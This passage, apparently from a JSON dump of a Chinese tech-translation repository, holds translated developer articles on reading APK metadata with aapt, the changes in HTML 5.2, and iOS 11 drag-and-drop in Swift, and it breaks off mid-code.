文件看看它的内容。你应该会看到这样的文本\n\n![header](http://crushingcode.github.io/images/posts/whatsintheapk/androidmanifest.jpg)\n\n这意味着这个披着 `xml` 格式外衣的 `AndroidManifest.xml` 文件不再是我们人类可读的格式了。所以你已经没有机会直接查看记载着 APK 文件基本信息的 `AndroidManifest.xml` 文件了。\n\n其实还是有办法的 😋 有一些工具可以分析 Android APK 文件，而且有一款工具从 Android 系统诞生开始就有了。\n\n> 我想所有经验丰富的开发者都知道这款工具，但我确信还是有很多的新手和富有经验的开发者从来没听过。\n\n这个作为 Android 构建工具的组件的小工具就是\n\n#### **`aapt`** - [Android Asset Packaging Tool[2]](http://elinux.org/Android_aapt)\n\n> 这个工具可以用来列举、添加、移除 APK 包里的文件，打包资源或者压缩 PNG 文件等等。\n\n首先，这个工具到底安装在哪？🤔\n\n这个问题问得好，在你 Android SDK 的构建工具里可以找到它。\n\n    <path_to_android_sdk>/build-tools/<build_tool_version_such_as_24.0.2>/aapt\n\n它到底能做些什么 ? 我们用 `man` 命令看一下，输出如下：\n\n\n*   `aapt list` - 列举 ZIP, JAR 或者 APK 文件里的内容。\n*   `aapt dump` - 从 APK 文件里导出指定的信息。\n*   `aapt package` - 打包 Android 资源。\n*   `aapt remove` - 删除 ZIP、JAR 或者 APK 文件里的内容。\n*   `aapt add` - 把文件添加到 ZIP、JAR 或者 APK 文件里。\n*   `aapt crunch` - 压缩 PNG 文件。\n\n我们感兴趣的是 `aapt list` 和 `aapt dump` 命令，尤其是有什么可以帮助我们得到 `apk` 信息的东西。\n\n让我们直接对 `apk` 文件运行下 `aapt` 工具来找找我们想要的信息。\n\n* * *\n\n##### 从 APK 获取基础信息\n\n    aapt dump badging app-debug.apk \n\n##### > 输出\n\n    package: name='com.example.application' versionCode='1' versionName='1.0' platformBuildVersionName=''\n    sdkVersion:'16'\n    targetSdkVersion:'24'\n    uses-permission: name='android.permission.WRITE_EXTERNAL_STORAGE'\n    uses-permission: name='android.permission.CAMERA'\n    uses-permission: name='android.permission.VIBRATE'\n    uses-permission: name='android.permission.INTERNET'\n    uses-permission: name='android.permission.RECORD_AUDIO'\n    uses-permission: name='android.permission.READ_EXTERNAL_STORAGE'\n    application-label-af:'Example'\n    application-label-am:'Example'\n    application-label-ar:'Example'\n    ..\n    application-label-zu:'Example'\n    application-icon-160:'res/mipmap-mdpi-v4/ic_launcher.png'\n    application-icon-240:'res/mipmap-hdpi-v4/ic_launcher.png'\n    application-icon-320:'res/mipmap-xhdpi-v4/ic_launcher.png'\n    application-icon-480:'res/mipmap-xxhdpi-v4/ic_launcher.png'\n    application-icon-640:'res/mipmap-xxxhdpi-v4/ic_launcher.png'\n    application: label='Example' icon='res/mipmap-mdpi-v4/ic_launcher.png'\n    application-debuggable\n    launchable-activity: name='com.example.application.MainActivity'  label='' icon=''\n    feature-group: label=''\n      uses-feature: name='android.hardware.camera'\n      uses-feature-not-required: name='android.hardware.camera.autofocus'\n      uses-feature-not-required: name='android.hardware.camera.front'\n      uses-feature-not-required: name='android.hardware.microphone'\n      uses-feature: name='android.hardware.faketouch'\n      uses-implied-feature: name='android.hardware.faketouch' reason='default feature for all apps'\n    main\n    other-activities\n    supports-screens: 'small' 'normal' 'large' 'xlarge'\n    supports-any-density: 'true'\n    locales: 'af' 'am' 'ar' 'az-AZ' 'be-BY' 'bg' 'bn-BD' 'bs-BA' 'ca' 'cs' 'da' 'de' 'el' 'en-AU' 'en-GB' 'en-IN' 'es' 'es-US' 'et-EE' 'eu-ES' 'fa' 'fi' 'fr' 'fr-CA' 'gl-ES' 'gu-IN' 'hi' 'hr' 'hu' 'hy-AM' 'in' 'is-IS' 'it' 'iw' 'ja' 'ka-GE' 'kk-KZ' 'km-KH' 'kn-IN' 'ko' 'ky-KG' 'lo-LA' 'lt' 'lv' 'mk-MK' 'ml-IN' 'mn-MN' 'mr-IN' 'ms-MY' 'my-MM' 'nb' 'ne-NP' 'nl' 'pa-IN' 'pl' 'pt' 'pt-BR' 'pt-PT' 'ro' 'ru' 'si-LK' 'sk' 'sl' 'sq-AL' 'sr' 'sr-Latn' 'sv' 'sw' 'ta-IN' 'te-IN' 'th' 'tl' 'tr' 'uk' 'ur-PK' 'uz-UZ' 'vi' 'zh-CN' 'zh-HK' 'zh-TW' 'zu'\n    densities: '160' '240' '320' '480' '640'\n\n* * *\n\n##### 从 APK 的 AndroidManifest 中获取权限声明列表\n\n    aapt dump permissions app-debug.apk\n\n##### > 输出\n\n    package: com.example.application\n    uses-permission: name='android.permission.WRITE_EXTERNAL_STORAGE'\n    uses-permission: name='android.permission.CAMERA'\n    uses-permission: name='android.permission.VIBRATE'\n    uses-permission: name='android.permission.INTERNET'\n    uses-permission: name='android.permission.RECORD_AUDIO'\n    uses-permission: name='android.permission.READ_EXTERNAL_STORAGE'\n\n* * *\n\n##### 获取 APK 的配置列表\n\n    aapt dump configurations app-debug.apk\n\n##### > 输出\n\n    large-v4\n    xlarge-v4\n    night-v8\n    v11\n    v12\n    v13\n    w820dp-v13\n    h720dp-v13\n    sw600dp-v13\n    v14\n    v17\n    v18\n    v21\n    ldltr-v21\n    v22\n    v23\n    port\n    land\n    mdpi-v4\n    ldrtl-mdpi-v17\n    hdpi-v4\n    ldrtl-hdpi-v17\n    xhdpi-v4\n    ldrtl-xhdpi-v17\n    xxhdpi-v4\n    ldrtl-xxhdpi-v17\n    xxxhdpi-v4\n    ldrtl-xxxhdpi-v17\n    ca\n    af\n    ..\n    sr\n    b+sr+Latn\n    ...\n    sv\n    iw\n    sw\n    bs-rBA\n    fr-rCA\n    lo-rLA\n    ...\n    kk-rKZ\n    uz-rUZ\n\n..也可以试试这些\n\n    # 打印出 APK 里的资源清单\n    aapt dump resources app-debug.apk\n\n    # 打印出指定 APK 里编译过的 xml\n    aapt dump xmltree app-debug.apk\n\n    # 打印出编译过的 xml 里的字段\n    aapt dump xmlstrings app-debug.apk\n\n    # 列出 ZIP 存档里的内容\n    aapt list -v -a  app-debug.apk    \n\n就像你看到的，你可以轻松的通过 `aapt` 工具直接从 `apk` 获取信息甚至都不用尝试解压 `apk` 文件。\n\n`appt` 还可以完成很多操作，你可以对 `aapt` 使用 `man` 命令获取详细说明。\n\n    aapt r[emove] [-v] file.{zip,jar,apk} file1 [file2 ...]\n      从 ZIP 归档中删除指定文件\n\n    aapt a[dd] [-v] file.{zip,jar,apk} file1 [file2 ...]\n      添加指定文件到 ZIP 归档中\n\n    aapt c[runch] [-v] -S resource-sources ... -C output-folder ...\n      执行 PNG 预处理操作并把结果存储到输出文件夹中\n\n有兴趣的话可以自己探索一下，这里就不赘述了。 🙂\n\n欢迎评论和建议。\n\n> 从 [AndroidWeekly Issue 224[3]](http://androidweekly.net/issues/issue-224) 获取更多文章和教程, 谢谢你们的厚爱。\n\n如果想获得更多类似的 Android 开发技巧，敬请关注我的 **[Android Tips & Tricks[4]](https://github.com/nisrulz/android-tips-tricks)** Github 仓库。我会不断的更新内容。\n"
  },
  {
    "path": "TODO/whats-new-in-html-5-2.md",
    "content": "> * 原文地址：[What’s New in HTML 5.2?](https://bitsofco.de/whats-new-in-html-5-2/)\n> * 原文作者：[bitsofco](https://bitsofco.de/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/whats-new-in-html-5-2.md](https://github.com/xitu/gold-miner/blob/master/TODO/whats-new-in-html-5-2.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[Raoul1996](https://github.com/Raoul1996), [吃土小2叉](https://github.com/xunge0613)\n\n# HTML 5.2 有哪些新内容？\n\n就在不到一个月前，HTML 5.2 正式成为了 W3C 的推荐标准（REC）。当一个规范到达 REC 阶段，就意味着它已经正式得到了 W3C 成员和理事长的认可。并且 W3C 将正式推荐浏览器厂商部署、web 开发者实现此规范。\n\n在 REC 阶段有个原则叫做[“任何新事物都至少要有两种独立的实现”](https://www.slideshare.net/rachelandrew/where-does-css-come-from/27?src=clipshare)，这对于我们 web 开发者来说是一个实践新特性的绝佳机会。\n\n在 HTML 5.2 中有一些添加和删除，具体改变可以参考官方的 [HTML 5.2 变动内容](https://www.w3.org/TR/html52/changes.html#changes)网页。本文将介绍一些我认为与我的开发有关的改动。\n\n## 新特性\n\n### 原生的 `<dialog>` 元素\n\n在 HTML 5.2 的所有改动中，最让我激动的就是关于 [`<dialog>` 元素](https://www.w3.org/TR/html52/interactive-elements.html#elementdef-dialog)这个原生对话框的介绍。在 web 中，对话框比比皆是，但是它们的实现方式都各有不同。对话框很难实现可访问性，这导致大多数的对话框对那些不方便以视觉方式访问网页的用户来说都是不可用的。\n\n新的 `<dialog>` 元素旨在改变这种状况，它提供了一种简单的方式来实现模态对话框。之后我会单独写一篇文章专门介绍这个元素的工作方式，在此先简单介绍一下。\n\n由一个 `<dialog>` 元素创建对话框：\n\n```\n<dialog>  \n  <h2>Dialog Title</h2>\n  <p>Dialog content and other stuff will go here</p>\n</dialog>  \n```\n\n默认情况下，对话框会在视图中（以及 DOM 访问中）隐藏，只有设置 open 属性后，对话框才会显示。\n\n```\n<dialog open>  \n```\n\n`open` 属性可以通过调用 `show()` 与 `close()` 方法开启或关闭，任何 `HTMLDialogElement` 都可以调用这两个方法。\n\n```\n<button id=\"open\">Open Dialog</button>  \n<button id=\"close\">Close Dialog</button>\n\n<dialog id=\"dialog\">  \n  <h2>Dialog Title</h2>\n  <p>Dialog content and other stuff will go here</p>\n</dialog>\n\n<script>  \nconst dialog = document.getElementById(\"dialog\");\n\ndocument.getElementById(\"open\").addEventListener(\"click\", () => {  \n  dialog.show();\n});\n\ndocument.getElementById(\"close\").addEventListener(\"click\", () => {  \n  dialog.close();\n});\n</script>  \n```\n\n目前，Chrome 浏览器已经支持 `<dialog>` 元素，Firefox 也即将支持（behind a flag）。 \n\n[![](https://bitsofco.de/content/images/2018/01/caniuse-dialog.png)](http://caniuse.com/#feat=dialog) \n\n上图为 caniuse.com 关于 dialog 特性主流浏览器兼容情况的数据\n\n### 在 iFrame 中使用 Payment Request API（支付请求 API）\n\n[Payment Request API](https://www.w3.org/TR/payment-request/) 是支付结算表单的原生替代方案。它将支付信息置于浏览器处理，用来代替之前各个网站各不相同的结算表单，旨在为用户提供一种标准、一致的支付方式。\n\n在 HTML 5.2 之前，这种支付请求无法在文档嵌入的 iframe 中使用，导致第三方嵌入式支付解决方案（如 Stripe, Paystack）基本不可能使用这个 API，因为它们通常是在 iframe 中处理支付接口。\n\n为此，HTML 5.2 引入了用于 iframe 的 `allowpaymentrequest` 属性，允许用户在宿主网页中访问 iframe 的 Payment Request API。\n\n```\n<iframe allowpaymentrequest>  \n```\n\n### 苹果的图标尺寸\n\n如要定义网页图标，我们可以在文档的 head 中使用 `<link rel=\"icon\">` 元素。如果要定义不同尺寸的图标，我们可以使用 `sizes` 属性。\n\n```\n<link rel=\"icon\" sizes=\"16x16\" href=\"path/to/icon16.png\">  \n<link rel=\"icon\" sizes=\"32x32\" href=\"path/to/icon32.png\">  \n```\n\n这个属性虽然纯粹是个建议，但如果提供了多种尺寸的图标，可以让用户代理（UA）决定使用哪种尺寸的图标。在大多数设备有着不同的“最佳”图标尺寸时尤为重要。\n\n在 HTML 5.2 之前，`sizes` 属性仅能用于 rel 为 `icon` 的 link 元素中。然而，苹果的 iOS 设备不支持 `sizes` 属性。为了解决这个问题，苹果自己引入了一个他们设备专用的 rel `appple-touch-icon` 用于定义他们设备上使用的图标。\n\n在 HTML 5.2 中，规范定义了 `sizes` 属性**不再仅仅**可用于 rel 为 `icon` 的元素，也能用于 rel 为 `apple-touch-icon` 的元素。这样可以让我们为不同的苹果设备提供不同尺寸的图标。不过直到现在为止，据我所知苹果的设备还是不支持 `sizes` 属性。在将来苹果最终支持此规范时，它将派上用场。\n\n## 新的有效实践\n\n除了新特性之外，HTML 5.2 还将一些之前无效的 HTML 写法认定为有效。\n\n### 多个 `<main>` 元素\n\n`<main>` 元素代表网页的主要内容。虽然不同网页的重复内容可以放在 header、section 或者其它元素中，但 `<main>` 元素是为页面上的特定内容保留的。因此在 HTML 5.2 之前，`<main>` 元素在 DOM 中必须唯一才能令页面有效。\n\n随着单页面应用（SPA）的普及，要坚持这个原则变得困难起来。在同一个网页的 DOM 中可能会有多个 `<main>` 元素，但在任意时刻只能给用户展示其中的一个。\n\n使用 HTML 5.2，我们只要保证同一时刻只有一个 `<main>` 元素可见，就能在我们的标签中使用多个 `<main>` 元素。与此同时其它的 `<main>` 元素必须使用 `hidden` 属性进行隐藏。\n\n```\n<main>...</main>  \n<main hidden>...</main>  \n<main hidden>...</main>  \n```\n\n我们都知道，[通过 CSS 来隐藏元素的方法有很多](https://bitsofco.de/hiding-elements-with-css/)，但多余的 `<main>` 元素必须使用 `hidden` 属性进行隐藏。任何其它隐藏此元素的方法（如 `display: none;` 和 `visibility: hidden;`）都将无效。\n\n### 在 `<body>` 中写样式\n\n一般来说，使用`<style>`元素定义的内联 CSS 样式会放置在 HTML 文档的 `<head>` 中。随着组件化开发的流行，开发者已经发现编写 style 并放置在与其相关的 html 中更加有益。\n\n在 HTML 5.2 中，可以在 HTML 文档 `<body>` 内的任何地方定义内联 `<style>` 样式块。这意味着样式定义可以离它们被使用的地方更近。\n\n```\n<body>  \n    <p>I’m cornflowerblue!</p>\n    <style>\n        p { color: cornflowerblue; }\n    </style>\n    <p>I’m cornflowerblue!</p>\n</body>  \n```\n\n然而仍需注意的是，**由于性能问题，样式还是应当优先考虑放在 `<head>` 中**。参见 [规范](https://www.w3.org/TR/html52/document-metadata.html#elementdef-style)，\n\n> 样式元素最好用于文档的 head 中。在文档的 body 中使用样式可能导致重复定义样式，触发重布局、导致重绘，因此需要小心使用。\n\n此外还应该注意的是如示例所示，样式不存在作用域。后来在 HTML 文档中定义的内联样式仍然会应用于之前定义的元素，所以它可能会触发重绘。\n\n### `<legend>` 中的标题元素\n\n在表单中，`<legend>` 元素表示 `<fieldset>` 表单域中的标题。在 HTML 5.2 前，legend 元素的内容必须为纯文本。而现在，它可以包含标题元素（ `<h1>` 等）了。\n\n```\n<fieldset>  \n    <legend><h2>Basic Information</h2></legend>\n    <!-- Form fields for basic information -->\n</fieldset>  \n<fieldset>  \n    <legend><h2>Contact Information</h2></legend>\n    <!-- Form fields for contact information -->\n</fieldset>  \n```\n\n当我们想用 `fieldset` 对表单中不同部分进行分组时，这个特性非常有用。在这种情况下使用标题元素是有意义的，因为这能让那些依赖于文档大纲的用户可以轻松导航至表单的对应部分。\n\n## 移除的特性\n\n在 HTML 5.2 中移除了一些元素，具体为：\n\n* `keygen`：曾经用于帮助表单生成公钥\n* `menu` 与 `menuitem`：曾经用于创建导航与内容菜单\n\n## 新的无效实践\n\n最后，一些开发实践方式被规定不再有效。\n\n### 在 `<p>` 中不再能包含行内、浮动、块类型的子元素\n\n在 HTML 5.2 中，`<p>` 元素中唯一合法的子元素只能是文字内容。这也意味着以下类型的元素不再能嵌套于段落标签 `<p>` 内：\n\n* 行内块（Inline blocks）\n* 行内表格（Inline tables）\n* 浮动块与固定位置块\n\n### 不再支持严格文档类型（Strict Doctypes）\n\n最后，我们终于可以和这些文档类型说再见了！\n\n```\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">  \n```\n\n```\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">  \n```\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n\n"
  },
  {
    "path": "TODO/whats-new-in-ios-11.md",
    "content": "> * 原文地址：[What's new in iOS 11 for developers](https://www.hackingwithswift.com/whats-new-in-ios-11)\n> * 原文作者：[Paul Hudson](https://twitter.com/twostraws)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：       [Swants](https://swants.github.io)\n> * 校对者：  [Danny1451](https://github.com/Danny1451)   [RichardLeeH](https://github.com/RichardLeeH)\n\n# 开发者眼中 iOS 11 都更新了什么？\n\n苹果在 2017 年全球开发者大会上公布了 iOS 11 , 其加入许多强大的功能，如 `Core ML`,`ARKit`,`Vision `,`PDFKit `,`MusicKit ` 拖放等等。 我尝试着把主要变化在接下来的文章里总结了出来，并在可行的地方提供代码，这样你就可以直接上手。\n\n__注意：__ 有些地方没涉及到并不是因为懒，我已经尽我所能提供足够多的代码来帮你在应用上快速上手这些特性。但是你最终还是免不了去额外了解更多 iOS 11 中大量复杂的设计功能。\n\n在接着读下去之前，你可能需要了解下这几篇文章：\n\n- [What's new in Swift 4?](https://www.hackingwithswift.com/swift4)\n- [What's new in Swift 3.1?](https://www.hackingwithswift.com/swift3-1)\n- [What's new in iOS 10?](https://www.hackingwithswift.com/ios10)\n- [What's new in iOS 9?](https://www.hackingwithswift.com/ios9)\n\n__你可能想购买我的新书：《 Practical iOS 11 》。__ 你可以通过教程的形式获得 7 个完整的项目代码，以及更多深入了解特定新技术的技术项目 - 这是熟悉 iOS 11最快的方式！\n\n\n[Buy Practical iOS 11 for $30](https://www.hackingwithswift.com/store/practical-ios11)\n\n## 拖放\n\n拖放是我们在桌面操作系统中认为理所当然的操作，但是拖放在 iOS 上直到 iOS 11 才出现，这真的阻碍了多任务处理的发展。换句话说，在 iOS 11 上尤其是在 iPad 上，多任务处理迎来了高速发展的时代。得益于拖放成为其中很大的一部分：你可以在 APP 内部和或 APP 之间移动内容，当你拖放的时候你可以用另一只手对其他 app 进行操作.你甚至可以利用 全新的 dock 系统来激活其他 app 的中间拖动。\n\n__注意： 在 iPhone 上拖放被限制在单个 app 内 —— 你不能把内容拖放到其他 app 里。__\n\n令人欣喜的是，`UITableView ` 和 `UICollectionView ` 在一定程度上都支持拖拽内置。但是想要使用拖放功能仍旧需要写相当多的代码。你也可以向其他组件添加拖放支持，而且你会发现实际上这只需要少量的工作。\n\n下面让我们来看看如何使用简单的拖放来实现在两个列表之间拷贝行内容。首先，我们需要使用一个简单的 app 。让我们写一些代码来创建两个有示例数据的 `tableview` 供我们拷贝。\n\n在 Xcode 内创建一个新的单一视图 app 模板，然后打开 `ViewController.swift` 类进行编辑。\n\n现在我们需要在这里放上两个含有示例数据的 tableView 。我不打算使用 IB 的方式布局， 因为全部使用代码来实现是更清楚的。顺便提一下，我 __不打算__ 详细地解释代码，因为这都是现成的 iOS 代码，我不想浪费你的时间。\n\n这些代码将：\n\n- 创建两个 `tableView` ,并且创建两个分别包含`Left` 和 `Right` 元素的字符串数组。\n- 制定两个 `tableView` 都使用 `view controller` 来作为它们的数据源，给他们写死位置宽高，注册一个可重用的 `cell` ，把它们两个都添加到这个 `view` 上。\n- 实现 `numberOfRowsInSection` 方法，确保每个 table view 都根据其字符串数组有正确的行数。\n- 实现 `cellForRowAt` 来排列，这时 cell根据 table 来从两个字符串数组中选出对应的数据源正确展示。\n\n然后，这是 iOS 11 之前的所有代码，应该没有你不熟悉的代码。将 ViewController.swift 类的内容用下面的代码替换：\n\n```\nimport UIKit\n\nclass ViewController: UIViewController, UITableViewDataSource, UITableViewDelegate {\n    var leftTableView = UITableView()\n    var rightTableView = UITableView()\n\n    var leftItems = [String](repeating: \"Left\", count: 20)\n    var rightItems = [String](repeating: \"Right\", count: 20)\n\n    override func viewDidLoad() {\n        super.viewDidLoad()\n\n        leftTableView.dataSource = self\n        rightTableView.dataSource = self\n\n        leftTableView.frame = CGRect(x: 0, y: 40, width: 150, height: 400)\n        rightTableView.frame = CGRect(x: 150, y: 40, width: 150, height: 400)\n\n        leftTableView.register(UITableViewCell.self, forCellReuseIdentifier: \"Cell\")\n        rightTableView.register(UITableViewCell.self, forCellReuseIdentifier: \"Cell\")\n\n        view.addSubview(leftTableView)\n        view.addSubview(rightTableView)\n    }\n\n    func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n        if tableView == leftTableView {\n            return leftItems.count\n        } else {\n            return rightItems.count\n        }\n    }\n\n    func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n        let cell = tableView.dequeueReusableCell(withIdentifier: \"Cell\", for: indexPath)\n\n        if tableView == leftTableView {\n            cell.textLabel?.text = leftItems[indexPath.row]\n        } else {\n            cell.textLabel?.text = rightItems[indexPath.row]\n        }\n\n        return cell\n    }\n}\n```\n\n好：下面就是 __新__ 的内容了。如果你现在运行 app 你就会看到两个并列并且填满数据的 tableView 。我们现在想要做的就是让用户可以从一个 table 上选择一行并且复制到另一个 table 里，或者反方向操作。\n\n第一步就是就是设置两个 tableView 的拖和放操作的代理为当前 view controller ，再把它们设置为可拖放。 最后把下面的代码加入到 `viewDidLoad()` 方法里：\n\n```\nleftTableView.dragDelegate = self\nleftTableView.dropDelegate = self\nrightTableView.dragDelegate = self\nrightTableView.dropDelegate = self\n\nleftTableView.dragInteractionEnabled = true\nrightTableView.dragInteractionEnabled = true\n```\n\n当你做完这些后，Xcode 会抛出几个警告，因为我们当前的控制器类没有遵从 `UITableViewDragDelegate` 和 `UITableViewDropDelegate` 协议。通过给我们的类添加这两个协议很容易就修复这些警告了 —— 滚动到文件的最顶端并且改变类的定义：\n\n```\nclass ViewController: UIViewController, UITableViewDataSource, UITableViewDelegate, UITableViewDragDelegate, UITableViewDropDelegate {\n\n```\n\n但是这样又会产生新的问题：我说过我们应该遵从这两个新协议，但是我们没有实现协议必须实现的方法，在过去修复这个常常是很麻烦的，但是 Xcode 9 可以自动完成这几个协议必须实现的方法 —— 点击报红色高亮代码行上的数字 2，这时你将会看到出现了更多的详细解释。点击 \"fix\" 来让 Xcode 9 为我们插入两个缺少的方法 —— 你将会看到你的类里边出现了下面的代码：\n\n```\nfunc tableView(_ tableView: UITableView, itemsForBeginning session: UIDragSession, at indexPath: IndexPath) -> [UIDragItem] {\n    code\n}\n\nfunc tableView(_ tableView: UITableView, performDropWith coordinator: UITableViewDropCoordinator) {\n    code\n}\n```\n\nXcode 总是把新的方法插在你的类最上面，至少在这次初始的 beta 版本里是。如果你和我一样看这不顺眼 —— 在继续之前可以把它们移到更明智地方！\n\n`itemsForBeginning` 方法是最简单的，让我们先从它开始。这个方法是在当用户的手指在 tableView 某行 cell 上按下执行拖的操作的时候调用。如果你返回一个空数组，你实际上就是拒绝了拖放操作。\n\n我们打算为这个方法添加四行代码：\n\n1. 指出哪一个字符串被拷贝，我们可以使用一个简单的三元操作符来实现：如果当前的 tableView 是在左边就从 `leftItems` 中读取，否则就从 `rightItems` 中读取。\n2. 试着将这个字符串转换成一个 `Data` 对象， 以便可以通过拖放进行传递。\n3. 将这个 data 放进一个 `NSItemProvider` 中，并且标记为存储了一个纯文本字符串从而其他 app 可以知道如何去处理它。\n4. 最后， 把这个 `NSItemProvider` 放进一个 `UIDragItem`内，从而它可以用于 UIKit 的拖放。\n\n为了把 data 元素标记为纯文本字符串 我们需要引入 MobileCoreServices 框架，所以请把下面的代码加入到 ViewController.swift 文件最上面：\n\n```\nimport MobileCoreServices\n```\n\n现在用下面的代码替换你的 `itemsForBeginning` 方法：\n\n```\nfunc tableView(_ tableView: UITableView, itemsForBeginning session: UIDragSession, at indexPath: IndexPath) -> [UIDragItem] {\n    let string = tableView == leftTableView ? leftItems[indexPath.row] : rightItems[indexPath.row]\n    guard let data = string.data(using: .utf8) else { return [] }\n    let itemProvider = NSItemProvider(item: data as NSData, typeIdentifier: kUTTypePlainText as String)\n\n    return [UIDragItem(itemProvider: itemProvider)]\n}\n```\n\n接下来我们只需要实现 `performDropWith` 方法。我说 “只需要”，但是剩下的两个潜在的复杂问题还是很棘手的。首先，如果有人拖放了很多东西我们就会同时获得很多字符串，我们需要把它们都正确插入。其次，我们可能被告知用户想要插入到哪几行，也可能不被告知 —— 用户可能只是把字符串拖放到 tableView 的空白处，这时需要我们决定该怎么处理。\n\n要解决这两个问题需要写比你期望中的更多的代码，但我会带你一步一步编写代码，让它更容易些。\n\n首先，是最简单的部分：找出行被拖放到哪里。 `performDropWith` 返回一个 `UITableViewDropCoordinator` 类对象，该对象有一个 `destinationIndexPath` 属性 可以告诉我们用户想把数据拖放到哪里。然而 这个方法是 __可选__ 实现：如果用户把他们的数据拖放到我们 tableView 的空单元格上，方法返回的将会是 nil 。如果这真的发生了我们会认为用户是想把数据拖放到 table 的最尾部。\n\n所以，把下面的代码添加到 `performDropWith` 方法内继续吧：\n\n```\nlet destinationIndexPath: IndexPath\n\nif let indexPath = coordinator.destinationIndexPath {\n    destinationIndexPath = indexPath\n} else {\n    let section = tableView.numberOfSections - 1\n    let row = tableView.numberOfRows(inSection: section)\n    destinationIndexPath = IndexPath(row: row, section: section)\n}\n```\n\n正如你所看到的那样，如果 coordinator 的 `destinationIndexPath` 存在就直接用，如果不存在则创建一个最后一组最后一行的 `destinationIndexPath` 。\n\n下一步就是让拖放的 coordinator 来加载拖动的所有特定类对象。在我们的例子里这个特定类是 `NSString` 。（然而，通常用 `String` 不起作用。）当所有拷贝的内容都就绪时我们需要发送一个闭包来运行，这也是最复杂的地方：我们需要把内容一个接一个地在目标行下面插入，修改 `leftItems` 或 `rightItems` 数组，最后调用我们 tableView 的 `insertRows()` 方法来展示拷贝后的结果。\n\n那么，接下来：我们刚刚写了一些代码来指出拖放操作最终的目标行。但如果我们得到了 __多个__ 拷贝对象，那么我们所有的都是初始的 destination index path —— 第一个拷贝对象的目标行就是它，第二个拷贝对象的目标行比它低一行，第三个拷贝对象的目标行比它低两行，等等。当我们移动每个拷贝对象时，我们会创建一个新的 index path 并且把它暂存到一个 `indexPaths` 数组中，这样我们就可以让 tableView 只调用一次 `insertRows()` 方法就完成了全部插入操作 。\n\n把代码添加到你的 `performDropWith` 方法中，放在我们刚才写的代码下面：\n\n```\n// attempt to load strings from the drop coordinator\ncoordinator.session.loadObjects(ofClass: NSString.self) { items in\n    // convert the item provider array to a string array or bail out\n    guard let strings = items as? [String] else { return }\n\n    // create an empty array to track rows we've copied\n    var indexPaths = [IndexPath]()\n\n    // loop over all the strings we received\n    for (index, string) in strings.enumerated() {\n        // create an index path for this new row, moving it down depending on how many we've already inserted\n        let indexPath = IndexPath(row: destinationIndexPath.row + index, section: destinationIndexPath.section)\n\n        // insert the copy into the correct array\n        if tableView == self.leftTableView {\n            self.leftItems.insert(string, at: indexPath.row)\n        } else {\n            self.rightItems.insert(string, at: indexPath.row)\n        }\n\n        // keep track of this new row\n        indexPaths.append(indexPath)\n    }\n\n    // insert them all into the table view at once\n    tableView.insertRows(at: indexPaths, with: .automatic)\n}\n```\n\n这就是完成的所有代码了 —— 你现在能够运行这个 app 并且在两个 tableView 之间拖动行内容来完成拷贝。完成这个花费了这么多的工作量，但令人感到惊喜的是：你所做的这些工作你能够支持整个系统的拖放：譬如如果你试着用 iPad 模拟器的话，你就会发现你可以把这些文本拖放到 Apple News 内的任何一个列表上，或者把 tableView 上的文本拖放到 Safari 的搜索条上。非常酷！\n\n在你试着去完成拖放操作之前，我想再展示一件事：如何实现为其他 View 添加拖放支持。其实比在 tableView 上实现要容易，那就让我们快速做一遍吧。\n\n在开始之前，我们需要一个简单的控件来让我们有可以添加拖放的东西。这次我们打算创建一个 `UIImageView` 并且渲染一个简单的红色圆圈作为图片。你可以保留已存在的单视图 APP 模板 并把  ViewController.swift 的内容用新代码替换：\n\n```\nimport UIKit\n\nclass ViewController: UIViewController {\n    // create a property for our image view and define its size\n    var imageView: UIImageView!\n    let size = 512\n\n    override func viewDidLoad() {\n        super.viewDidLoad()\n\n        // create and add the image view\n        imageView = UIImageView(frame: CGRect(x: 50, y: 50, width: size, height: size))\n        view.addSubview(imageView)\n\n        // render a red circle at the same size, and use it in the image view\n        let renderer = UIGraphicsImageRenderer(size: CGSize(width: size, height: size))\n        imageView.image = renderer.image { ctx in\n            let rectangle = CGRect(x: 0, y: 0, width: size, height: size)\n            ctx.cgContext.setFillColor(UIColor.red.cgColor)\n            ctx.cgContext.fillEllipse(in: rectangle)\n        }\n    }\n}\n```\n\n像之前一样，这都是些 iOS 的老代码所以我不打算给你详细解释它。如果你试着在 iPad 模拟器上运行，你就会在控制器里看到一个大的红色圆圈 —— 这对供我们测试来说足够了。\n\n自定义视图的拖放是通过一个新的叫作 `UIDragInteraction` 类来实现的。 你告诉它在哪里发送信息（在我们这个例子里，我们用的是当前的控制器），然后将它和用来交互的 View 绑定。\n\n__重要提示：__ 千万不要忘了打开相关视图的交互，否则当拖放最后不起作用时，你会感到非常困惑。\n\n首先， 在 `viewDidLoad()` 的最末尾添加这三行代码，就在之前的代码后面。你就会看到 Xcode 提示我们的 View Controller 没有遵循\n`UIDragInteractionDelegate` 协议，所以把类的定义改成下面这样：\n\n```\nclass ViewController: UIViewController, UIDragInteractionDelegate {\n```\n\nXcode 将会继续提示我们没有实现 `UIDragInteractionDelegate` 协议的一个必要方法，所以重复之前我们所做的 —— 在出错行上单击错误提示，然后选择 \"Fix\" 来插入下面的代码：\n\n```\nfunc dragInteraction(_ interaction: 